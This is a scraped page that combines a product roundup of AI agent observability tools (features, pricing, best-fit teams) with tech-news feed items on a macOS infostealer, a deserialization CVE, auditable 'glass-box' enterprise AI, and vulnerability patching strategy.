<p class="wp-block-paragraph">Teams trying to choose which agent observability tools is best for their use case should look at the size and nature of their agentic systems and projects. Are they adding AI agent features to an existing product or application, or are they building agentic systems from scratch? Are they more focused on maintaining a stable LLM operation or iterating on new approaches? Is AI the center of attention or just an add-on that’s meant to improve an existing stack?<br><br>The AgentOps and agent observability options listed below share many of the same features but differ in their focus and their attention to the challenges organizations will encounter when incorporating agents into their stacks. Each tool offers a worthwhile place to start understanding how to care for the growing presence of AI in the production world.</p>



<h2 class="wp-block-heading">AgentOps.ai</h2>



<p class="wp-block-paragraph">When teams of agents work together, tracking the conversations are essential for understanding and debugging what’s happening. The SDK from <a href="http://agentops.ai/">AgentOps.ai records</a> events so that the creators can replay past behavior to track details such as token counts, spending, latency, and more. Available as a service and on-premises.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.agentops.ai/#pricing">Starts at $40 per month </a>plus usage costs at $0.20 per 1M tokens</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Replay analytics with “time-travel debugging”</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Complex agent debugging</p>



<h2 class="wp-block-heading">Arize Phoenix</h2>



<p class="wp-block-paragraph">Debugging prompts and LLM responses requires a nuanced understanding of just what’s happening, in part because of the non-determinism that often enters the process. <a href="https://arize.com/phoenix/">Phoenix</a> from Arize supports this process with robust tracing and the ability to score the results for more precise iteration. Their system can track the results and tool calls from a variety of major platforms (Anthropic, AWS, OpenAI, etc.) that are initiated by the major frameworks (LangChain, LlamaIndex, DSPy, etc.). The result is insight into what data is triggering what chain of responses.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://arize.com/pricing/">Pro plan</a> starts at $50 per month plus costs tied to events</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> LLM-as-a-Judge metrics for tracking quality</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Teams focusing on iterating for accuracy and quality</p>



<h2 class="wp-block-heading">BigPanda</h2>



<p class="wp-block-paragraph"><a href="https://www.bigpanda.io/">BigPanda</a> has always offered solutions for tracking performance of complex systems. Now the company is drilling deeper into the challenge of detecting and ending the problems that come from models that go awry. BigPanda’s main system relies on historical data and machine learning algorithms to flag issues. Its own agent layer connects the problematic nodes and errant models while dispatching alerts to the right team members.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> “Value-based” table on <a href="https://www.bigpanda.io/pricing/">request</a></p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Automated triage for faster response</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Large teams seeking to reduce alert fatigue from large customer base</p>



<h2 class="wp-block-heading">Braintrust</h2>



<p class="wp-block-paragraph">Setting up an effective improvement cycle for an AI agent requires a strong feedback loop from production data to the agent’s next generation. <a href="https://www.braintrust.dev/">Braintrust</a> watches the production workload and creates test vectors that expose how an agent may be drifting, regressing, or departing from its path. The tool automates much of the testing and scoring feedback loop so problematic patterns can be discovered and addressed. A core part of the offering is a specialized data store that can track large and sometimes deeply nested collections of tests and their results. Their approach may be summarized by one of their tag lines: “trace everything.”</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free starter tier; <a href="https://www.braintrust.dev/pricing">Pro plan</a> starts at $249 with some usage-based costs covered</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Highly scalable trace ingestion</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams developing strong guardrails through continuous testing</p>



<h2 class="wp-block-heading">Chronicle Labs</h2>



<p class="wp-block-paragraph">When it’s time to release a new version of an agent into the wild, the <a href="https://chronicle-labs.com/">platform from Chronicle Labs </a>specializes in staging it and testing it with a collection of use tests and regression cases. The tools are also helpful during development cycles. “Backtest your agent against reality,” their sales material promises, with a set of tools that mines the production telemetry for solid test vectors that stress every part of the agent with prompts and challenges that the agent will encounter after leaving the safety of the lab.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> On <a href="https://chronicle-labs.com/book-call">request</a></p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Back-testing options for complex testing regimes</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams chasing strong models with good fidelity to reality</p>



<h2 class="wp-block-heading">Comet Opik</h2>



<p class="wp-block-paragraph">Building a dashboard for tracking every in-flow and out-flow to agents is one way to be ready to watch for and solve problems. <a href="https://www.comet.com/site/products/opik/">Opik from Comet </a>is just such a tool. The DevOps teams can track each call and add its own automated routines to examine the results, score them based on 30-plus metrics, and if desired, send it off to another LLM to evaluate the results. Agents that are constantly failing stand out. DevOps teams can also ask questions like, “Who is using this model and racking up all of the bills?” The same goes for MCP skills and other cogs in the machine.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tiers for open source and small projects; <a href="https://www.comet.com/site/pricing/">Pro plan</a> starts at $19 per month with usage limits</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Auto-scoring with 30-plus metrics for evaluating traces</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams focusing on RAG and agentic workflows</p>



<h2 class="wp-block-heading">Datadog</h2>



<p class="wp-block-paragraph">DevOps teams that rely on <a href="https://www.datadoghq.com/">Datadog</a> to track logs across collections of services can also use it to track LLM operations, which are, of course, just another source and sink for data. It will track performance such as time to first token and offer insight into what might be causing an issue, such as lack of memory. Results then get plugged into the same cost-tracking mechanism so the bean counters can predict when the budget will run out. After all, the CFO likely doesn’t care whether the bill comes from an LLM or an old-school S3 storage bucket. Datadog integrates AI into their tools by treating these models as just another source of data.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier with <a href="https://www.datadoghq.com/pricing/">multiple paid tiers</a> for various levels of enterprise monitoring</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Large installed base with broad focus on more than LLMs</p>



<p class="wp-block-paragraph"><em>Best for:</em> Large enterprise teams working with established infrastructure</p>



<h2 class="wp-block-heading">Dynatrace</h2>



<p class="wp-block-paragraph">For more than 20 years, <a href="https://www.dynatrace.com/">Dynatrace</a> has been delivering tools that track dataflows across the full stack. Now that AIs are finding roles in many of the nodes in this complex graph, they’re expanding to track how various AI agents can interact. They want to build one platform that helps track the root cause and, often now, deploy solutions autonomously. They want to focus on being ready to support complex networks of agents that detect problems in either performance or security and then work within defined guardrails to fix them. Determining the right role for their own AI-powered agents is a key part of the product.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.dynatrace.com/pricing/">Plans</a> start at $7 per month with larger plans designed for full enterprise monitoring</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> High level of autonomous monitoring designed for large installations</p>



<p class="wp-block-paragraph"><em>Best for: </em>Complex, hybrid environments mixing LLMs with traditional services</p>



<h2 class="wp-block-heading">Galileo</h2>



<p class="wp-block-paragraph">Placing some AI systems into production is often a harrowing experience because the actual performance is impossible to predict, even with the most rigorous tests. <a href="https://galileo.ai/">Galileo</a> offers guardrails that track performance and watch for any behavior that deviates from the ground truth. Their “LLM-as-judge” systems are distilled into compact models that can be run locally for lower costs and faster performance.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; Pro plans start at $50 per month with usage-based limits and costs</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Real-time guardrails for deployed agents</p>



<p class="wp-block-paragraph"><em>Best for:</em> Security-conscious installations that need to defend against hallucination and data leakage</p>



<h2 class="wp-block-heading">Grafana Labs</h2>



<p class="wp-block-paragraph">Long the go-to source for<a href="https://grafana.com/oss/"> open source </a>telemetry, <a href="https://grafana.com/products/cloud/ai-assistant/?pg=hp&amp;plcmt=txt-img-alternating">Grafana Labs</a> now tracks performance of AI models in constellations of services. Grafana tracks the evolution of answers across the agentic network to recognize how small changes or hallucinations can spin out of control. It bills its system as “actually useful AI” and has even trademarked it. Its cloud assistant can configure and reconfigure the Grafana dash to offer the right level of observability. Its system includes AI-level analysis that can flag models that are responding quickly but offering bad answers because of problems such as model drift or context degradation.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Basic free tier; <a href="https://grafana.com/pricing/">Pro plan</a> begins at $19 per month, includes better retention and some usage-based fees </p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Full-stack tool with fully integrated LLM tools</p>



<p class="wp-block-paragraph"><em>Best for:</em> Large, enterprise-scale system adding AI</p>



<h2 class="wp-block-heading">Helicone</h2>



<p class="wp-block-paragraph">Sometimes shoehorning in another tool into the chain can be tricky. <a href="https://www.helicone.ai/">Helicone</a> is designed as a smart network proxy that will route all model requests while keeping solid debugging records from the data as it goes by. The data it captures can be turned into nice charts that make it easy to spot latency issues or model failures. Naturally, tracking AI spend is also a feature in much demand as bills continue to climb.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://www.helicone.ai/pricing">Pro plan</a> starts at $79 per month, includes features such as team collaboration and improved querying</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Proxy-based integration</p>



<p class="wp-block-paragraph"><em>Best for:</em> Development teams who want to add better monitoring features quickly</p>



<h2 class="wp-block-heading">Laminar</h2>



<p class="wp-block-paragraph">Tracking agents in development and production means building strong storehouses of data enumerating what happened. <a href="https://laminar.sh/">Laminar</a> works closely with OpenTelemetry to follow agents operating in production so that flaws and failure modes can be understood from log files stored efficiently with their own compression scheme. Developers can search through traces with an SQL-ish language and Laminar’s transcript view illuminates what happened. When necessary, the traces can enable developers to scroll back in time and replay the same inputs for debugging. The goal is to offer deep insights with high-level visibility of how well the agents are meeting business objectives.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; “Hobby” tier that adds more features at $30; <a href="https://laminar.sh/pricing">Pro level</a> starts at $150 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Open-source license makes self-hosting a viable option</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams fully able to leverage open-source responsibilities</p>



<h2 class="wp-block-heading">LangChain LangSmith</h2>



<p class="wp-block-paragraph">Real-time data from agents is essential for managing any mutli-agent system in production. LangSmith from <a href="https://www.langchain.com/">LangChain</a> traces costs, tools, and progress toward solutions for a wide collection of agents using SDKs for Python, TypeScript, Go, and Java. The OpenTelemetry-based solution watches for anomalies, issuing warnings and alerts through dashboards and communication channels such as PagerDuty. Deeper analysis can reveal issues such as topic clustering or odd patterns of failure. Coordination with agent deployment platforms such as LangGraph and deepagents ensures greater focus on successful resolution of assignments.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free for solo developers; <a href="https://www.langchain.com/pricing">Pro teams</a> start at $39 per person per month </p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Systematic approach to regression testing of prompts</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams relying on LangChain and LangGraph frameworks for supporting complex agentic behavior</p>



<h2 class="wp-block-heading">Lunary</h2>



<p class="wp-block-paragraph">Watching the user experience is essential for building AI applications such as chatbots and assistants. <a href="https://lunary.ai/">Lunary</a> offers a proxy that traces all interactions and then builds analytical dashboards for measuring metrics such as user satisfaction or model costs. One common usage is finding frequent topics and looking at the responses to ensure they deliver. When prompts aren’t perfect, Lunary lets teams iterate on the prompt text until the right answers are coming out. Its proxy structure and common API format enables Lunary to promise to work with “any LLM, any framework.”</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tier; <a href="https://lunary.ai/pricing">Pro plan</a> starts at $20 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Deep integration with humans for reviewing and optimizing results</p>



<p class="wp-block-paragraph"><em>Best for:</em> Startups focused on rapid prompt innovation</p>



<h2 class="wp-block-heading">NewRelic</h2>



<p class="wp-block-paragraph">The platform that began tracking performance of some web applications is now powerful enough to track the flows of data through complex agentic ecologies. <a href="https://newrelic.com/platform/ai-observability">NewRelic’s</a> AI-driven monitoring watches for golden signals that can indicate misbehavior or worse throughout the entire lifecycle. It tracks every detail of the interactions through protocols such as MCP and then makes this available to the AI engineers responsible for performance. The dashboard provides the insights necessary to watch for toxic behavior, overt bias, drift, and overblown hallucinations. Predicting and maybe even controlling the cost is also a growing role as tokenomics becomes as important as response time.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tier; Pro plan fees available through website</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Full-stack support with hundreds of integrations with other tools</p>



<p class="wp-block-paragraph"><em>Best for:</em> Established enterprise teams mixing in AI</p>



<h2 class="wp-block-heading">Nova AI Ops</h2>



<p class="wp-block-paragraph">The goal of <a href="https://novaaiops.com/">Nova AI Ops </a>is to deliver a team of agents that watch over a cloud and make it, at least partially, self-healing. Each agent uses a mixture of predictive AI and machine learning to watch cloud telemetry reports for anomalies. Then they calculate the “blast radius” and decide whether this is a problem that can be fixed automatically “while you sleep” or saved for the human supervisors. These tools are aimed not just on LLM operations but on the stack as a whole.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://novaaiops.com/pricing">Standard pricing </a> begins at $40 per user per month with usage billing</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Focus on software reliability engineering helps teams deliver stable stacks</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams that want to integrate LLMs into incident response and stability management</p>



<h2 class="wp-block-heading">Splunk</h2>



<p class="wp-block-paragraph">The platform that began delivering smart logging is now fully AI capable, offering solutions that can watch over agents with much the same way that it continues to track microservices. <a href="https://www.splunk.com/en_us/solutions/splunk-artificial-intelligence.html">Splunk</a> now includes a fairly large amount of predictive AI for learning from the information in the logs and then turning this learning into fast solutions. This AI assistant can track deployed AI models connected by protocols such as MCP and watch over behavior while delivering the ability for users to drill down and explore what’s working and what’s failing. Their AI Canvas is meant to offer a central hub where the AI scientists can track both the local behavior of the models as well as their role in a larger data ecosystem.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.splunk.com/en_us/resources/splunk-pricing-options.html">Activity-based pricing</a> tracks usage of LLM backends and storage</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Ready to scale to large enterprise stacks</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams with legacy systems that are folding in agentic options</p>



<h2 class="wp-block-heading">SuperPenguin</h2>



<p class="wp-block-paragraph">One of the most important parts of an AI service is the bill. <a href="https://superpenguin.ai/#features">SuperPenguin</a> is a product designed to track consumption and make predictions so that the CFO won’t be surprised. The goal is to provide solid estimates about the total cost of each product by allocating costs to customers, features, and teams. If there’s a sudden shift, a “spike detector” will raise an alarm so that dev teams can ensure that the AI spend is worth it.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier for experimentation; Growth tier for teams, starting at $30 per month; <a href="https://superpenguin.ai/#pricing">Pro tier </a>offers deeper options starting at $200 per month</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Strong accounting with invoice reconciliation and PR-level usage tracking</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams that need precise cost accounting</p>



<h2 class="wp-block-heading">Vellum</h2>



<p class="wp-block-paragraph">Prompt engineers spend time fussing over the details of tweaking, improving, and enhancing the words that guide the LLM. <a href="https://www.vellum.ai/">Vellum</a> started as a company that would provide the pipeline so that you could manage and improve the prompts that ran again and again. Now the system is growing more powerful, offering a higher level of automation that lets you meta-manage the prompt chain. They’ve also begun marketing it as a form of personal assistant with pre-built connections to many of the major services such as Gmail. Its <a href="https://github.com/vellum-ai/llm-cost-optimizer">llm-cost-optimizer </a>can juggle multiple options while finding a cheaper way to execute a prompt, a process the company suggests can save 60% or more.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Open-source free tier; Pro plan starts at $35 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Focus on multi-model pipelines for true agentic solutions</p>



<p class="wp-block-paragraph"><em>Best for:</em> Product teams with complex prompt engineering workflows</p>
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<title><![CDATA[Hackers Pair Stolen Wallet Databases With Keychain Passwords for Offline Crypto Theft]]></title>
<description><![CDATA[A macOS-focused information stealer is combining stolen wallet databases with credentials harvested from the Apple Keychain, browsers, and Apple Notes to conduct offline cryptocurrency theft attempts. Detected by the MistEye security monitoring system, the malware appears designed for broad data…...]]></description>
<link>https://tsecurity.de/de/3672928/it-security-nachrichten/hackers-pair-stolen-wallet-databases-with-keychain-passwords-for-offline-crypto-theft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672928/it-security-nachrichten/hackers-pair-stolen-wallet-databases-with-keychain-passwords-for-offline-crypto-theft/</guid>
<pubDate>Thu, 16 Jul 2026 11:23:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A macOS-focused information stealer is combining stolen wallet databases with credentials harvested from the Apple Keychain, browsers, and Apple Notes to conduct offline cryptocurrency theft attempts. Detected by the MistEye security monitoring system, the malware appears designed for broad data…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hackers-pair-stolen-wallet-databases-with-keychain-passwords-for-offline-crypto-theft/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hackers-pair-stolen-wallet-databases-with-keychain-passwords-for-offline-crypto-theft/">Hackers Pair Stolen Wallet Databases With Keychain Passwords for Offline Crypto Theft</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Hackers Pair Stolen Wallet Databases With Keychain Passwords for Offline Crypto Theft]]></title>
<description><![CDATA[A macOS-focused information stealer is combining stolen wallet databases with credentials harvested from the Apple Keychain, browsers, and Apple Notes to conduct offline cryptocurrency theft attempts. Detected by the MistEye security monitoring system, the malware appears designed for broad data ...]]></description>
<link>https://tsecurity.de/de/3672880/it-security-nachrichten/hackers-pair-stolen-wallet-databases-with-keychain-passwords-for-offline-crypto-theft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672880/it-security-nachrichten/hackers-pair-stolen-wallet-databases-with-keychain-passwords-for-offline-crypto-theft/</guid>
<pubDate>Thu, 16 Jul 2026 11:09:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A macOS-focused information stealer is combining stolen wallet databases with credentials harvested from the Apple Keychain, browsers, and Apple Notes to conduct offline cryptocurrency theft attempts. Detected by the MistEye security monitoring system, the malware appears designed for broad data collection rather than a single targeted objective. Its collection scope includes macOS Keychain files, Safari […]</p>
<p>The post <a href="https://gbhackers.com/hackers-pair-stolen-wallet-databases/">Hackers Pair Stolen Wallet Databases With Keychain Passwords for Offline Crypto Theft</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Getting from black-box AI to glass-box AI]]></title>
<description><![CDATA[A year ago, most enterprise AI systems generated recommendations. Today, AI systems are approving transactions, routing shipments, updating records, interacting with customers, and triggering downstream software actions with little or no human involvement.



For CIOs, that shift changes the cent...]]></description>
<link>https://tsecurity.de/de/3672874/ai-nachrichten/getting-from-black-box-ai-to-glass-box-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672874/ai-nachrichten/getting-from-black-box-ai-to-glass-box-ai/</guid>
<pubDate>Thu, 16 Jul 2026 11:04:17 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">A year ago, most enterprise AI systems generated recommendations. Today, AI systems are approving transactions, routing shipments, updating records, interacting with customers, and triggering downstream software actions with little or no human involvement.</p>



<p class="wp-block-paragraph">For CIOs, that shift changes the central governance question. The challenge is no longer simply whether an AI model is accurate. It is whether the organization can explain, audit, and defend the decisions the system makes.</p>



<p class="wp-block-paragraph">When an AI assistant suggests a meeting time or summarizes a document, mistakes are inconvenient. When an autonomous AI system issues a refund, reprices a product, modifies a customer record, or initiates a financial transaction, mistakes carry operational, legal, and reputational consequences.</p>



<p class="wp-block-paragraph">When those consequences arrive, “the model decided” is not an acceptable explanation.</p>



<p class="wp-block-paragraph">This is the accountability gap emerging at the center of enterprise AI adoption. Organizations are deploying increasingly autonomous systems while relying on technology that often provides little visibility into how decisions are made. The result is a growing mismatch between the level of authority organizations grant AI and their ability to understand or justify its actions.</p>



<p class="wp-block-paragraph">Black-box AI may have been acceptable when AI primarily generated predictions. It becomes far more problematic when AI begins taking actions on behalf of the business.</p>



<h2 class="wp-block-heading">The lesson software already learned</h2>



<p class="wp-block-paragraph">Fortunately, the technology industry has faced a similar challenge before.</p>



<p class="wp-block-paragraph">As enterprise software systems became more distributed and complex, troubleshooting failures became increasingly difficult. Engineers could no longer rely on intuition to understand what happened when something broke. The solution was <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html" data-type="link" data-id="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a>: the practice of instrumenting systems so their internal state could be understood through logs, metrics, traces, and monitoring.</p>



<p class="wp-block-paragraph">The goal was not to predict every possible failure in advance. It was to create enough visibility that teams could reconstruct what happened after the fact and identify the root cause.</p>



<p class="wp-block-paragraph">Enterprise AI now requires a similar discipline.</p>



<p class="wp-block-paragraph">But AI observability must go beyond traditional software observability. It is not enough to know what action occurred. Organizations also need visibility into why the system believed that action was appropriate.</p>



<p class="wp-block-paragraph">An auditable AI system should be able to answer questions such as:</p>



<ul class="wp-block-list">
<li>What information did the system rely on?</li>



<li>Which tools or data sources did it access?</li>



<li>What alternatives did it consider?</li>



<li>What verification steps were performed?</li>



<li>How confident was it in its conclusion?</li>



<li>What events led to the final action?</li>
</ul>



<p class="wp-block-paragraph">These questions are rapidly becoming essential operational requirements rather than technical nice-to-haves.</p>



<h2 class="wp-block-heading">Why visibility matters more as AI gains autonomy</h2>



<p class="wp-block-paragraph">As AI systems become more autonomous, failures become harder to detect and diagnose.</p>



<p class="wp-block-paragraph">A human reviewing a single AI-generated recommendation can often spot obvious mistakes. A network of AI agents coordinating multiple tasks across business processes presents a different challenge. Decisions can build upon one another. A flawed assumption early in a workflow can propagate through subsequent actions, creating confident but incorrect outcomes.</p>



<p class="wp-block-paragraph">The challenge is rarely identifying that something went wrong. Eventually, an error surfaces through a customer complaint, a failed transaction, an audit finding, or an operational disruption.</p>



<p class="wp-block-paragraph">The challenge is determining why it happened.</p>



<p class="wp-block-paragraph">Which information influenced the decision? Which tools were consulted? Which safeguards worked as intended? Which ones failed?</p>



<p class="wp-block-paragraph">Without visibility into the reasoning process, troubleshooting autonomous AI workflows can become significantly more difficult than debugging traditional software systems.</p>



<p class="wp-block-paragraph">For CIOs responsible for enterprise reliability, compliance, and governance, that lack of visibility creates unacceptable operational risk.</p>



<h2 class="wp-block-heading">Moving toward glass-box AI</h2>



<p class="wp-block-paragraph">The answer is not to slow AI adoption. The answer is to make AI systems observable.</p>



<p class="wp-block-paragraph">Increasingly, organizations are seeking AI systems that behave more like a glass box than a black box. The objective is not to expose every parameter inside a neural network. Rather, it is to provide a clear, auditable record of how decisions were reached and why actions were taken.</p>



<p class="wp-block-paragraph">The most promising approaches share two common characteristics.</p>



<p class="wp-block-paragraph">The first is verification. Instead of treating a single model’s output as ground truth, systems incorporate independent validation steps before actions are executed. Multiple agents, external checks, business rules, or verification workflows help identify errors before they become operational incidents.</p>



<p class="wp-block-paragraph">The second is explainability. Effective systems maintain a decision trail that captures inputs, intermediate reasoning steps, tool usage, verification activities, and outputs in a form that human reviewers can understand.</p>



<p class="wp-block-paragraph">Together, these capabilities create something that has long been expected of human decision-makers but is often missing from AI systems: the ability to show your work.</p>



<h2 class="wp-block-heading">The regulatory and business reality</h2>



<p class="wp-block-paragraph">The push toward AI observability is not being driven solely by technologists.</p>



<p class="wp-block-paragraph">Regulators increasingly expect organizations to demonstrate oversight of automated decision-making systems. Emerging AI governance frameworks place growing emphasis on transparency, traceability, accountability, and human oversight.</p>



<p class="wp-block-paragraph">Customers are moving in the same direction. Whether the decision involves pricing, service, eligibility, or support, people increasingly want the ability to understand and challenge outcomes that affect them.</p>



<p class="wp-block-paragraph">The result is a convergence of operational, regulatory, and market pressures around a single requirement: organizations must be able to explain what their AI systems are doing.</p>



<h2 class="wp-block-heading">Three questions every CIO should ask</h2>



<p class="wp-block-paragraph">Before deploying autonomous AI systems, technology leaders should be able to answer three basic questions:</p>



<ol start="1" class="wp-block-list">
<li>Can we reconstruct the complete decision path that led to an action?</li>



<li>Can we verify critical outputs before actions are executed?</li>



<li>Can a human auditor understand why the decision occurred?</li>
</ol>



<p class="wp-block-paragraph">If the answer to any of those questions is no, the organization may be granting more authority to AI than it can responsibly govern.</p>



<h2 class="wp-block-heading">Accountability will become a competitive advantage</h2>



<p class="wp-block-paragraph">The organizations that succeed with autonomous AI will not necessarily be those that automate the most processes or deploy the largest models. They will be the organizations that combine automation with accountability.</p>



<p class="wp-block-paragraph">Black-box systems made sense when AI primarily generated predictions. As AI increasingly acts on behalf of businesses, customers, and employees, visibility becomes essential.</p>



<p class="wp-block-paragraph">The future of enterprise AI will belong not to systems that merely act, but to systems whose actions can be examined, understood, and trusted.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[CVE-2026-26215 | zyddnys manga-image-translator up to beta-0.3 FastAPI Endpoint /simple_execute/ pickle.loads deserialization (ID 1116)]]></title>
<description><![CDATA[A vulnerability was found in zyddnys manga-image-translator up to beta-0.3. It has been declared as critical. This affects the function pickle.loads of the file /simple_execute/ of the component FastAPI Endpoint. The manipulation results in deserialization.

This vulnerability is identified as CV...]]></description>
<link>https://tsecurity.de/de/3672823/sicherheitsluecken/cve-2026-26215-zyddnys-manga-image-translator-up-to-beta-03-fastapi-endpoint-simpleexecute-pickleloads-deserialization-id-1116/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672823/sicherheitsluecken/cve-2026-26215-zyddnys-manga-image-translator-up-to-beta-03-fastapi-endpoint-simpleexecute-pickleloads-deserialization-id-1116/</guid>
<pubDate>Thu, 16 Jul 2026 10:40:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/zyddnys:manga-image-translator">zyddnys manga-image-translator up to beta-0.3</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. This affects the function <code>pickle.loads</code> of the file <em>/simple_execute/</em> of the component <em>FastAPI Endpoint</em>. The manipulation results in deserialization.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-26215">CVE-2026-26215</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
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<title><![CDATA[macOS Infostealer Steals Telegram Sessions and Replaces Ledger and Trezor Wallet Apps]]></title>
<description><![CDATA[SlowMist has uncovered a macOS information-stealing malware that can hijack Telegram sessions, collect credentials, steal cryptocurrency wallet data, and replace legitimate Ledger and Trezor applications with phishing-capable web wrappers. Detected by SlowMist’s MistEye monitoring platform, the m...]]></description>
<link>https://tsecurity.de/de/3672759/it-security-nachrichten/macos-infostealer-steals-telegram-sessions-and-replaces-ledger-and-trezor-wallet-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672759/it-security-nachrichten/macos-infostealer-steals-telegram-sessions-and-replaces-ledger-and-trezor-wallet-apps/</guid>
<pubDate>Thu, 16 Jul 2026 10:08:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>SlowMist has uncovered a macOS information-stealing malware that can hijack Telegram sessions, collect credentials, steal cryptocurrency wallet data, and replace legitimate Ledger and Trezor applications with phishing-capable web wrappers. Detected by SlowMist’s MistEye monitoring platform, the malware appears designed for broad data theft rather than a single targeted objective. It searches macOS Keychain data, Safari […]</p>
<p>The post <a href="https://cyberpress.org/infostealer-hijacks-telegram-wallets/">macOS Infostealer Steals Telegram Sessions and Replaces Ledger and Trezor Wallet Apps</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Flaw surge fuels need for CISOs to rethink vulnerability management]]></title>
<description><![CDATA[Security experts are calling on enterprises to revise their vulnerability management strategies and move towards “just in time” patching in response the increased pace of vulnerability exploitation.



Attackers are turning to AI to increase the rate of vulnerability exploitation and supply chain...]]></description>
<link>https://tsecurity.de/de/3672628/it-security-nachrichten/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672628/it-security-nachrichten/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 09:24:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Security experts are calling on enterprises to revise their vulnerability management strategies and move towards “just in time” patching in response the increased pace of vulnerability exploitation.</p>



<p class="wp-block-paragraph">Attackers are <a href="https://www.csoonline.com/article/4181924/ai-worm-prototype-shows-attackers-dont-need-mythos-to-take-over-your-network.html">turning to AI</a> to increase the <a href="https://www.csoonline.com/article/3632268/gen-ai-is-transforming-the-cyber-threat-landscape-by-democratizing-vulnerability-hunting.html">rate of vulnerability exploitation</a> and supply chain compromise so that traditional forms of vulnerability management are no longer keeping pace.</p>



